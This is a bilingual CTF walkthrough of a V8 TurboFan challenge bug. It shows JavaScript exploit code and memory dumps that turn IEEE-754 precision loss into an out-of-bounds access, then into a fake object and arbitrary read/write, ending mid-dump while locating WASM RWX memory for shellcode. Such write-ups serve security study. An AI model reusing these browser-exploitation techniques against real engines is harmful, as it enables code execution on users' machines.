Google CTF 2018 DuplicateAdditionReducer
题目链接
- DuplicateAdditionReducer
The DuplicateAdditionReducer written by Stephen Röttger for Google CTF 2018 is a nice TurboFan challenge that adds a new reducer optimizing cases like x + 1 + 1
.
Patch分析
相关代码如下:
Reduction DuplicateAdditionReducer::Reduce(Node* node) {
switch (node->opcode()) {
case IrOpcode::kNumberAdd:
return ReduceAddition(node);
default:
return NoChange();
}
}
Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
DCHECK_EQ(node->op()->ControlInputCount(), 0);
DCHECK_EQ(node->op()->EffectInputCount(), 0);
DCHECK_EQ(node->op()->ValueInputCount(), 2);
Node* left = NodeProperties::GetValueInput(node, 0);
if (left->opcode() != node->opcode()) {
return NoChange(); // [1]
}
Node* right = NodeProperties::GetValueInput(node, 1);
if (right->opcode() != IrOpcode::kNumberConstant) {
return NoChange(); // [2]
}
Node* parent_left = NodeProperties::GetValueInput(left, 0);
Node* parent_right = NodeProperties::GetValueInput(left, 1);
if (parent_right->opcode() != IrOpcode::kNumberConstant) {
return NoChange(); // [3]
}
double const1 = OpParameter(right->op());
double const2 = OpParameter(parent_right->op());
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
NodeProperties::ReplaceValueInput(node, parent_left, 0);
NodeProperties::ReplaceValueInput(node, new_const, 1);
return Changed(node); // [4]
}
这意味着在减少NumberAdd节点时,我们有4个不同的代码路径(请阅读代码注释)。其中只有一个会导致节点更改。让我们画一个表示所有这些情况的模式。红色的节点表示它们不满足条件,导致返回NoChange。
- case4表示的也就是 x+a+b , a和b都是Number常量的情况
优化后,会把左边的 a 和 b 相加,相加后的结果替换原有 NumberAdd 右边的NumberConstant,
漏洞成因
IEEE-754 doubles 精度损失
V8 represents numbers using IEEE-754
doubles. That means it can encode integers using 52 bits. Therefore the maximum value is pow(2,53)-1
which is 9007199254740991
.
Number above this value can't all be represented. As such, there will be precision loss when computing with values greater than that.
POC:
d8> var x = Number.MAX_SAFE_INTEGER + 1
undefined
d8> x
9007199254740992
d8> x + 1
9007199254740992
d8> 9007199254740993 == 9007199254740992
true
d8> x + 2
9007199254740994
d8> x + 3
9007199254740996
d8> x + 4
9007199254740996
d8> x + 5
9007199254740996
d8> x + 6
9007199254740998
简单了解下IEEE 754的double精度表示:
Let's try to better understand this. 64 bits IEEE 754 doubles are represented using a 1-bit sign, 11-bit exponent and a 52-bit mantissa. When using the normalized form (exponent is non null), to compute the value, simply follow the following formula.
value = (-1)^sign * 2^(e) * fraction
e = 2^(exponent - bias)
bias = 1024 (for 64 bits doubles)
fraction = bit52*2^-0 + bit51*2^-1 + .... bit0*2^52
So let's go through a few computation ourselves.
d8> %DumpObjects(Number.MAX_SAFE_INTEGER, 10)
----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
0x00000b8fffc0ddd0 0x00001f5c50100559 MAP_TYPE
0x00000b8fffc0ddd8 0x433fffffffffffff
d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 1, 10)
----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
0x00000b8fffc0aec0 0x00001f5c50100559 MAP_TYPE
0x00000b8fffc0aec8 0x4340000000000000
d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 2, 10)
----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
0x00000b8fffc0de88 0x00001f5c50100559 MAP_TYPE
0x00000b8fffc0de90 0x4340000000000001
You can try the computations using links 1, 2and 3.
As you see, the precision loss is inherent to the way IEEE-754 computations are made. Even though we incremented the binary value, the corresponding real number was not incremented accordingly. It is impossibleto represent the value 9007199254740993
using IEEE-754 doubles. That's why it is not possible to increment 9007199254740992
. You can however add 2 to 9007199254740992
because the result can be represented!
That means that x += 1; x += 1;
may not be equivalent to x += 2
. And that might be an interesting behaviour to exploit.
d8> var x = Number.MAX_SAFE_INTEGER + 1
9007199254740992
d8> x + 1 + 1
9007199254740992
d8> x + 2
9007199254740994
Furthermore, the reducer does not update the type of the changed node. That's why it is going to be 'incorrectly' typed with the old Range(9007199254740992,9007199254740992)
, from the previous Typer
phase, instead of Range(9007199254740994,9007199254740994)
(even though the problem is that really, we cannot take for granted that there is no precision loss while computing m+n
and therefore x += n; x += n;
may not be equivalent to x += (n + n)
).
There is going to be a mismatch between the addition result 9007199254740994
and the range type with maximum value of 9007199254740992
. What if we can use this buggy range analysis to get to reduce a CheckBounds
node during the simplified lowering phase in a way that it would remove it?
It is actually possible to trick the CheckBounds
simplified lowering visitor into comparing an incorrect index Range
to the length
so that it believes that the index is in bounds when in reality it is not. Thus removing what seemed to be a useless bound check.
Let's check this by having yet another look at the sea of nodes!
First consider the following code.
let opt_me = (x) => {
let arr = new Array(1.1,1.2,1.3,1.4);
arr2 = new Array(42.1,42.0,42.0);
let y = (x == "foo") ? 4503599627370495 : 4503599627370493;
let z = 2 + y + y ; // maximum value : 2 + 4503599627370495 * 2 = 9007199254740992
z = z + 1 + 1; // 9007199254740992 + 1 + 1 = 9007199254740992 + 1 = 9007199254740992
// replaced by 9007199254740992+2=9007199254740994 because of the incorrect reduction
z = z - (4503599627370495*2); // max = 2 vs actual max = 4
return arr[z];
}
opt_me("");
%OptimizeFunctionOnNextCall(opt_me);
let res = opt_me("foo");
print(res);
We do get a graph that looks exactly like the problematic drawing we showed before. Instead of getting two NumberAdd(x,1)
, we get only one with NumberAdd(x,2)
, which is not equivalent.
大概的意思就是第一次运行的时候,认为 +1+1 之后算出来的 z 是 2,然后优化后把 +1 +1节点替换成+2,认为其仍然是等价的,最后在 simplified lowering 阶段,认为4503599627370495+1+1 和 4503599627370495+2 是等价的,但是实际上并不等价。
+1+1的时候算出来的 index range 最大是2,而直接+2的时候算出来的index range最大是4,导致OOB。
The index type used by CheckBounds
is Range(0,2)
(but in reality, its value can be up to 4) whereas the length type is Range(4,4)
. Therefore, the index looks to be always in bounds, making the CheckBounds
disappear. In this case, we can load/store 8 or 16 bytes further (length is 4, we read at index 4. You could also have an array of length 3 and read at index 3 or 4.).
Actually, if we execute the script, we get some OOB access and leak memory!
$ d8 trigger.js --allow-natives-syntax
3.0046854007112e-310
漏洞利用
完善攻击原语
- 首先要确保可以通过上述bug获得较大的结果
比如说通过使用 x + 007199254740989 + 9007199254740966
可以获得更大oob范围
d8> sum = 007199254740989 + 9007199254740966
x + 9014398509481956
d8> a = x + sum
18021597764222948
d8> b = x + 007199254740989 + 9007199254740966
18021597764222944
d8> a - b
4
简单推广一下,x+4n:
d8> var sum = 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966
undefined
d8> var x = Number.MAX_SAFE_INTEGER + 1
undefined
d8> x + sum
27035996273704904
d8> x + 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966
27035996273704896
d8> 27035996273704904 - 27035996273704896
8
可以获得8,那么结合其他运算符,可以获得:
d8> var x = Number.MAX_SAFE_INTEGER + 1
undefined
d8> 10 * (x + 1 + 1)
90071992547409920
d8> 10 * (x + 2)
90071992547409940
That gives us a delta of 20 because precision_loss * 10 = 20
and the precision loss is of 2
.
step-0
- 确认我们想要泄漏和覆写的地址
For that, I simply use my custom%DumpObjects
v8 runtime function. Also, I use an ArrayBuffer
with two views: one Float64Array
and one BigUint64Array
to easily convert between 64 bits floats and 64 bits integers.
let ab = new ArrayBuffer(8); // Float64Array 和 BigUint64Array 均指向这块ArrayBuffer
let fv = new Float64Array(ab); // 用于类型转换
let dv = new BigUint64Array(ab); // 用于类型转换
let f2i = (f) => {
fv[0] = f;
return dv[0]; // 返回 biguint 类型
}
let hexprintablei = (i) => {
return (i).toString(16).padStart(16,"0");
}
let debug = (x,z, leak) => {
print("oob index is " + z);
print("length is " + x.length);
print("leaked 0x" + hexprintablei(f2i(leak)));
%DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements
// 这个工具是作者自己实现的,表示将x dump13行 https://github.com/JeremyFetiveau/debugging-tools/tree/master/v8_doare-helpers
};
let opt_me = (x) => {
let arr = new Array(1.1,1.2,1.3);
arr2 = new Array(42.1,42.0,42.0);
let y = (x == "foo") ? 4503599627370495 : 4503599627370493;
let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992
z = z + 1 + 1;
z = z - (4503599627370495*2);
let leak = arr[z];
if (x == "foo")
debug(arr,z, leak);
return leak;
}
opt_me("");
%OptimizeFunctionOnNextCall(opt_me);
let res = opt_me("foo");
会输出如下结果:
oob index is 4
length is 3
leaked 0x0000000300000000
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x00002e5fddf8b6a8 0x00002af7fe681451 MAP_TYPE
0x00002e5fddf8b6b0 0x0000000300000000
0x00002e5fddf8b6b8 0x3ff199999999999a arr[0]
0x00002e5fddf8b6c0 0x3ff3333333333333 arr[1]
0x00002e5fddf8b6c8 0x3ff4cccccccccccd arr[2]
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x00002e5fddf8b6d0 0x00002af7fe681451 MAP_TYPE // also arr[3]
0x00002e5fddf8b6d8 0x0000000300000000 arr[4] with OOB index!
0x00002e5fddf8b6e0 0x40450ccccccccccd arr2[0] == 42.1
0x00002e5fddf8b6e8 0x4045000000000000 arr2[1] == 42.0
0x00002e5fddf8b6f0 0x4045000000000000
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x00002e5fddf8b6f8 0x0000290fb3502cf1 MAP_TYPE arr2 JSArray
0x00002e5fddf8b700 0x00002af7fe680c19 FIXED_ARRAY_TYPE [as]
0x00002e5fddf8b708 0x00002e5fddf8b6d1 FIXED_DOUBLE_ARRAY_TYPE
Obviously, both FixedDoubleArray
of arr
and arr2
are contiguous. At arr[3]
we've got arr2
's map and at arr[4]
we've got arr2
's elements length (encoded as an Smi, which is 32 bits even on 64 bit platforms). Please note that we changed a little bit the trigger code :
< let arr = new Array(1.1,1.2,1.3,1.4);
---
> let arr = new Array(1.1,1.2,1.3);
Otherwise we would read/write the map
instead, as demonstrates the following dump :
oob index is 4
length is 4
leaked 0x0000057520401451
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x30 ] -----
0x0000108bcf50b6c0 0x0000057520401451 MAP_TYPE
0x0000108bcf50b6c8 0x0000000400000000
0x0000108bcf50b6d0 0x3ff199999999999a arr[0] == 1.1
0x0000108bcf50b6d8 0x3ff3333333333333 arr[1]
0x0000108bcf50b6e0 0x3ff4cccccccccccd arr[2]
0x0000108bcf50b6e8 0x3ff6666666666666 arr[3] == 1.3
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x0000108bcf50b6f0 0x0000057520401451 MAP_TYPE arr[4] with OOB index!
0x0000108bcf50b6f8 0x0000000300000000
0x0000108bcf50b700 0x40450ccccccccccd
0x0000108bcf50b708 0x4045000000000000
0x0000108bcf50b710 0x4045000000000000
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x0000108bcf50b718 0x00001dd08d482cf1 MAP_TYPE
0x0000108bcf50b720 0x0000057520400c19 FIXED_ARRAY_TYPE
根据调试的结果,此时我们就可以控制到arr[4]指向的另外一个数组的map
Step-1
- Corrupting a JSArray and leaking an ArrayBuffer's backing store
有了地址泄漏,我们可以尝试去Corrupt 一个 JSArray然后泄漏出 ArrayBuffer 的 backing store地址
The problem with step 0 is that we merely overwrite the FixedDoubleArray
's length ... which is pretty useless because it is not the field actually controlling the JSArray’s length the way we expect it, it just gives information about the memory allocated for the fixed array. Actually, the only length
we want to corrupt is the one from the JSArray
.
Indeed, the length of the JSArray
is not necessarily the same as the length of the underlying FixedArray
(or FixedDoubleArray
). Let's quickly check that.
d8> let a = new Array(0);
undefined
d8> a.push(1);
1
d8> %DebugPrint(a)
DebugPrint: 0xd893a90aed1: [JSArray]
- map: 0x18bbbe002ca1
在这种情况下,尽管 JSArray 的长度是,但是其 FixedArray 的长度实际上是 17。如果你想要一个OOB R/W原语,那就是你想要覆盖的JSArray的长度。此外,如果要对这样的数组进行越界访问,可能需要检查FixedArray的大小是否太大。
If you look at the memory dump, you may think that having the allocated JSArray
beforethe FixedDoubleArray
mightbe convenient, right? Right now the layout is:
FIXED_DOUBLE_ARRAY_TYPE
FIXED_DOUBLE_ARRAY_TYPE
JS_ARRAY_TYPE
让我们简单地改变分配第二个数组的方式。
23c23
< arr2 = new Array(42.1,42.0,42.0);
---
> arr2 = Array.of(42.1,42.0,42.0);
现在我们有了下面的布局
FIXED_DOUBLE_ARRAY_TYPE
JS_ARRAY_TYPE
FIXED_DOUBLE_ARRAY_TYPE
oob index is 4
length is 3
leaked 0x000009d6e6600c19
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x000032adcd10b6b8 0x000009d6e6601451 MAP_TYPE
0x000032adcd10b6c0 0x0000000300000000
0x000032adcd10b6c8 0x3ff199999999999a arr[0]
0x000032adcd10b6d0 0x3ff3333333333333 arr[1]
0x000032adcd10b6d8 0x3ff4cccccccccccd arr[2]
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x000032adcd10b6e0 0x000009b41ff82d41 MAP_TYPE map arr[3]
0x000032adcd10b6e8 0x000009d6e6600c19 FIXED_ARRAY_TYPE properties arr[4]
0x000032adcd10b6f0 0x000032adcd10b729 FIXED_DOUBLE_ARRAY_TYPE elements
0x000032adcd10b6f8 0x0000000300000000
Cool, now we are able to access the JSArray
instead of the FixedDoubleArray
. However, we're accessing its properties
field.
Thanks to the precision loss when transforming +1+1
into +2
we get a difference of 2
between the computations. If we get a difference of 4
, we'll be at the right offset. Transforming +1+1+1
into +3
will give us this!
d8> x + 1 + 1 + 1
9007199254740992
d8> x + 3
9007199254740996
26c26
< z = z + 1 + 1;
---
> z = z + 1 + 1 + 1;
Now we are able to read/write the JSArray
's length.
oob index is 6
length is 3
leaked 0x0000000300000000
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x000004144950b6e0 0x00001b7451b01451 MAP_TYPE
0x000004144950b6e8 0x0000000300000000
0x000004144950b6f0 0x3ff199999999999a // arr[0]
0x000004144950b6f8 0x3ff3333333333333
0x000004144950b700 0x3ff4cccccccccccd
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x000004144950b708 0x0000285651602d41 MAP_TYPE
0x000004144950b710 0x00001b7451b00c19 FIXED_ARRAY_TYPE
0x000004144950b718 0x000004144950b751 FIXED_DOUBLE_ARRAY_TYPE
0x000004144950b720 0x0000000300000000 // arr[6]
现在,要泄漏“ArrayBuffer”的数据非常容易。只需在第二个JSArray之后分配它。
let arr = new Array(MAGIC,MAGIC,MAGIC);
arr2 = Array.of(1.2); // 确保JSArray被分配在第二个fixed arrays之前
ab = new ArrayBuffer(AB_LENGTH);
这样,我们得到如下内存布局:
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x00003a4d7608bb48 0x000023fe25c01451 MAP_TYPE
0x00003a4d7608bb50 0x0000000300000000
0x00003a4d7608bb58 0x3ff199999999999a arr[0]
0x00003a4d7608bb60 0x3ff199999999999a
0x00003a4d7608bb68 0x3ff199999999999a
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x00003a4d7608bb70 0x000034dc44482d41 MAP_TYPE
0x00003a4d7608bb78 0x000023fe25c00c19 FIXED_ARRAY_TYPE
0x00003a4d7608bb80 0x00003a4d7608bba9 FIXED_DOUBLE_ARRAY_TYPE
0x00003a4d7608bb88 0x0000006400000000
----- [ FIXED_ARRAY_TYPE : 0x18 ] -----
0x00003a4d7608bb90 0x000023fe25c007a9 MAP_TYPE
0x00003a4d7608bb98 0x0000000100000000
0x00003a4d7608bba0 0x000023fe25c005a9 ODDBALL_TYPE
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] -----
0x00003a4d7608bba8 0x000023fe25c01451 MAP_TYPE
0x00003a4d7608bbb0 0x0000000100000000
0x00003a4d7608bbb8 0x3ff3333333333333 arr2[0]
----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] -----
0x00003a4d7608bbc0 0x000034dc444821b1 MAP_TYPE
0x00003a4d7608bbc8 0x000023fe25c00c19 FIXED_ARRAY_TYPE
0x00003a4d7608bbd0 0x000023fe25c00c19 FIXED_ARRAY_TYPE
0x00003a4d7608bbd8 0x0000000000000100
0x00003a4d7608bbe0 0x0000556b8fdaea00 ab's backing_store pointer!
0x00003a4d7608bbe8 0x0000000000000002
0x00003a4d7608bbf0 0x0000000000000000
0x00003a4d7608bbf8 0x0000000000000000
我们可以简单地使用损坏的“JSArray”(“arr2”)读取“ArrayBuffer”(“ab”)。这在以后会很有用,因为' backing_store '指向的内存完全由我们控制,因为我们可以通过data view (如' Uint32Array ')将任意数据放入其中。
Step-2
创建一个伪造的对象:
PACKED_ELEMENTS数组可以包含指向JavaScript对象的tag指针。对于不熟悉v8的人来说,v8中的JsArray元素提供了关于它正在存储的元素类型的信息。Read this if you want to know more about elements kind.
d8> var objects = new Array(new Object())
d8> %DebugPrint(objects)
DebugPrint: 0xd79e750aee9: [JSArray]
- elements: 0x0d79e750af19 {
0: 0x0d79e750aeb1
Therefore if you can corrupt the content of an array of PACKED_ELEMENTS
, you can put in a pointer to a crafted object. This is basically the idea behind the fakeobj primitive. The idea is to simply put the address backing_store+1
in this array (the original pointer is not tagged, v8 expect pointers to JavaScript objects to be tagged). Let's first simply write the value 0x4141414141
in the controlled memory.
Indeed, we know that the very first field of any object is a a pointer to a map
(long story short, the map is the object that describes the type of the object. Other engines call it a Shape
or a Structure
. If you want to know more, just read the previous post on SpiderMonkeyor this blog post).
Therefore, if v8 indeed considers our pointer as an object pointer, when trying to use it, we should expect a crash when dereferencing the map
.
Achieving this is as easy as allocating an array with an object pointer, looking for the index to the object pointer, and replacing it by the (tagged) pointer to the previously leaked backing_store
.
let arr = new Array(MAGIC,MAGIC,MAGIC);
arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays
evil_ab = new ArrayBuffer(AB_LENGTH);
packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI);
the memory layout.
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- arr
0x0000220f2ec82410 0x0000353622a01451 MAP_TYPE
0x0000220f2ec82418 0x0000000300000000
0x0000220f2ec82420 0x3ff199999999999a
0x0000220f2ec82428 0x3ff199999999999a
0x0000220f2ec82430 0x3ff199999999999a
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x0000220f2ec82438 0x0000261a44682d41 MAP_TYPE
0x0000220f2ec82440 0x0000353622a00c19 FIXED_ARRAY_TYPE
0x0000220f2ec82448 0x0000220f2ec82471 FIXED_DOUBLE_ARRAY_TYPE
0x0000220f2ec82450 0x0000006400000000 // 1. length被修改为64
----- [ FIXED_ARRAY_TYPE : 0x18 ] -----
0x0000220f2ec82458 0x0000353622a007a9 MAP_TYPE
0x0000220f2ec82460 0x0000000100000000
0x0000220f2ec82468 0x0000353622a005a9 ODDBALL_TYPE
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] ----- // arr2
0x0000220f2ec82470 0x0000353622a01451 MAP_TYPE
0x0000220f2ec82478 0x0000000100000000
0x0000220f2ec82480 0x3ff3333333333333
----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] ----- // 4. 使用dataview copy evil_ab
0x0000220f2ec82488 0x0000261a446821b1 MAP_TYPE
0x0000220f2ec82490 0x0000353622a00c19 FIXED重写RRAY_TYPE
0x0000220f2ec82498 0x0000353622a00c19 FIXED_ARRAY_TYPE
0x0000220f2ec824a0 0x0000000000000100 // 2. 寻找array_buffer的length
0x0000220f2ec824a8 0x00005599e4b21f40 // 3. 找到backing store
0x0000220f2ec824b0 0x0000000000000002
0x0000220f2ec824b8 0x0000000000000000
0x0000220f2ec824c0 0x0000000000000000
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x0000220f2ec824c8 0x0000261a44682de1 MAP_TYPE
0x0000220f2ec824d0 0x0000353622a00c19 FIXED_ARRAY_TYPE
0x0000220f2ec824d8 0x0000220f2ec824e9 FIXED_ARRAY_TYPE
0x0000220f2ec824e0 0x0000000300000000
----- [ FIXED_ARRAY_TYPE : 0x28 ] ----- // packed_elements_array
0x0000220f2ec824e8 0x0000353622a007a9 MAP_TYPE
0x0000220f2ec824f0 0x0000000300000000
0x0000220f2ec824f8 0x0000001300000000 // 5.找到 MARK 1 for memory scanning
0x0000220f2ec82500 0x00002f3befd86b81 JS_OBJECT_TYPE // 7. 使用backing store覆写
0x0000220f2ec82508 0x0000003700000000 // 6.找到 MARK 2 for memory scanning
// get_pwnd wasm代码
// 7.此时view[4],也就是修改过的 backing store区域的第五位置 存储是指向自身的地址
// 执行 view[4] = f2i(ftagged_wasm_func_ptr)-1n; 此时fake的JS_ARRAY_BUFFER_TYPE的bs位置就
// 指向了wasm_func_ptr的位置
// 采用同样的操作不断修改bs,最终找到jump_table_start的地址 -.- 看了半天,,,
// 8.最后把shellcode写回去,然后调用那个WASM函数,即是执行shellcode
Good, the FixedArray
with the pointer to the Math
object is located right after the ArrayBuffer
. Observe that we put markers so as to scan memory instead of hardcoding offsets (which would be bad if we were to have a different memory layout for whatever reason).
After locating the (oob) index to the object pointer, simply overwrite it and use it.
let view = new BigUint64Array(evil_ab);
view[0] = 0x414141414141n; // initialize the fake object with this value as a map pointer
// ...
arr2[index_to_object_pointer] = tagFloat(fbackingstore_ptr);
// 使用fbackingstore_ptr替换packed_elements_array中原本只想math的指针
packed_elements_array[1].x; // crash on 0x414141414141 because it is used as a map pointer
Step 3
Arbitrary read/write primitive
Going from step 2 to step 3 is fairly easy. We just need our ArrayBuffer
to contain data that look like an actual object. More specifically, we would like to craft an ArrayBuffer
with a controlled backing_store
pointer. You can also directly corrupt the existing ArrayBuffer
to make it point to arbitrary memory. Your call!
Don't forget to choose a length that is big enough for the data you plan to write (most likely, your shellcode).
let view = new BigUint64Array(evil_ab);
for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {
view[i] = f2i(arr2[ab_len_idx-3+i]); // 修改arraybuffer的map
if (view[i] > 0x10000 && !(view[i] & 1n))
view[i] = 0x42424242n; // 修改backing_store为0x42424242n
}
// [...]
arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // object pointer
// [...]
let rw_view = new Uint32Array(packed_elements_array[1]);
rw_view[0] = 0x1337; // *0x42424242 = 0x1337
You should get a crash like this.
$ d8 rw.js
[+] corrupted JSArray's length
[+] Found backingstore pointer : 0000555c593d9890
Received signal 11 SEGV_MAPERR 000042424242
==== C stack trace ===============================
[0x555c577b81a4]
[0x7ffa0331a390]
[0x555c5711b4ae]
[0x555c5728c967]
[0x555c572dc50f]
[0x555c572dbea5]
[0x555c572dbc55]
[0x555c57431254]
[0x555c572102fc]
[0x555c57215f66]
[0x555c576fadeb]
Step-4
Overwriting WASM RWX memory
Now that's we've got an arbitrary read/write primitive, we simply want to overwrite RWX memory, put a shellcode in it and call it. We'd rather not do any kind of ROP
or JIT code reuse
(0vercl0kdid this for SpiderMonkey).
V8 used to have the JIT'ed code of its JSFunction
located in RWX memory. But this is not the case anymore. However, as Andrea Biondoshowed on his blog, WASM is still using RWX memory. All you have to do is to instantiate a WASM module and from one of its function, simply find the WASM instance object that contains a pointer to the RWX memory in its field JumpTableStart
.
Plan of action:
Read the JSFunction's shared function info
Get the WASM exported function from the shared function info
Get the WASM instance from the exported function
Read the JumpTableStart field from the WASM instance
As I mentioned above, I use a modified v8 engine for which I implemented a %DumpObjects
feature that prints an annotated memory dump. It allows to very easily understand how to get from a WASM JS function to the JumpTableStart
pointer. I put some code here(Use it at your own risks as it might crash sometimes). Also, depending on your current checkout, the code may not be compatible and you will probably need to tweak it.
%DumpObjects
will pinpoint the pointer like this:
----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] -----
[...]
0x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX]
So let's just find the RWX memory from a WASM function.
sample_wasm.js
can be found here.
d8> load("sample_wasm.js")
d8> %DumpObjects(global_test,10)
----- [ JS_FUNCTION_TYPE : 0x38 ] -----
0x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE
0x00002fac7911ed18 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
0x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
0x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE // ----
0x00002fac7911ed30 0x00002fac79101741 NATIVE_CONTEXT_TYPE
0x00002fac7911ed38 0x00000d1caca00691 FEEDBACK_CELL_TYPE
0x00002fac7911ed40 0x00002dc28a002001 CODE_TYPE
----- [ TRANSITION_ARRAY_TYPE : 0x30 ] -----
0x00002fac7911ed48 0x00000cdfc0080b69 MAP_TYPE
0x00002fac7911ed50 0x0000000400000000
0x00002fac7911ed58 0x0000000000000000
function 1() { [native code] }
d8> %DumpObjects(0x00002fac7911ecd9,11)
----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----
0x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE
0x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE // ----
0x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE
0x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE
0x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911ed00 0x000000000000004f
0x00002fac7911ed08 0x000000000000ff00
----- [ JS_FUNCTION_TYPE : 0x38 ] -----
0x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE
0x00002fac7911ed18 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
0x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
0x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE // ----
52417812098265
d8> %DumpObjects(0x00002fac7911ecb1,11)
----- [ WASM_EXPORTED_FUNCTION_DATA_TYPE : 0x28 ] -----
0x00002fac7911ecb0 0x00000cdfc00857a9 MAP_TYPE
0x00002fac7911ecb8 0x00002dc28a002001 CODE_TYPE
0x00002fac7911ecc0 0x00002fac7911eb29 WASM_INSTANCE_TYPE // ----
0x00002fac7911ecc8 0x0000000000000000
0x00002fac7911ecd0 0x0000000100000000
----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----
0x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE
0x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE // ----
0x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE
0x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE
0x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911ed00 0x000000000000004f
52417812098225
d8> %DumpObjects(0x00002fac7911eb29,41)
----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] -----
0x00002fac7911eb28 0x00001024ebc89411 MAP_TYPE
0x00002fac7911eb30 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
0x00002fac7911eb38 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
0x00002fac7911eb40 0x00002073d820bac1 WASM_MODULE_TYPE
0x00002fac7911eb48 0x00002073d820bcf1 JS_OBJECT_TYPE
0x00002fac7911eb50 0x00002fac79101741 NATIVE_CONTEXT_TYPE
0x00002fac7911eb58 0x00002fac7911ec59 WASM_MEMORY_TYPE
0x00002fac7911eb60 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911eb68 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911eb70 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911eb78 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911eb80 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911eb88 0x00002073d820bc79 FIXED_ARRAY_TYPE
0x00002fac7911eb90 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911eb98 0x00002073d820bc69 FOREIGN_TYPE
0x00002fac7911eba0 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911eba8 0x00000cdfc00804c9 ODDBALL_TYPE
0x00002fac7911ebb0 0x00000cdfc00801d1 ODDBALL_TYPE
0x00002fac7911ebb8 0x00002dc289f94d21 CODE_TYPE
0x00002fac7911ebc0 0x0000000000000000
0x00002fac7911ebc8 0x00007f9f9cf60000
0x00002fac7911ebd0 0x0000000000010000
0x00002fac7911ebd8 0x000000000000ffff
0x00002fac7911ebe0 0x0000556b3a3e0c00
0x00002fac7911ebe8 0x0000556b3a3ea630
0x00002fac7911ebf0 0x0000556b3a3ea620
0x00002fac7911ebf8 0x0000556b3a47c210
0x00002fac7911ec00 0x0000000000000000
0x00002fac7911ec08 0x0000556b3a47c230
0x00002fac7911ec10 0x0000000000000000
0x00002fac7911ec18 0x0000000000000000
0x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX] // ---
0x00002fac7911ec28 0x0000556b3a47c250
0x00002fac7911ec30 0x0000556b3a47afa0
0x00002fac7911ec38 0x0000556b3a47afc0
----- [ TUPLE2_TYPE : 0x18 ] -----
0x00002fac7911ec40 0x00000cdfc00827c9 MAP_TYPE
0x00002fac7911ec48 0x00002fac7911eb29 WASM_INSTANCE_TYPE
0x00002fac7911ec50 0x00002073d820b849 JS_FUNCTION_TYPE
----- [ WASM_MEMORY_TYPE : 0x30 ] -----
0x00002fac7911ec58 0x00001024ebc89e11 MAP_TYPE
0x00002fac7911ec60 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
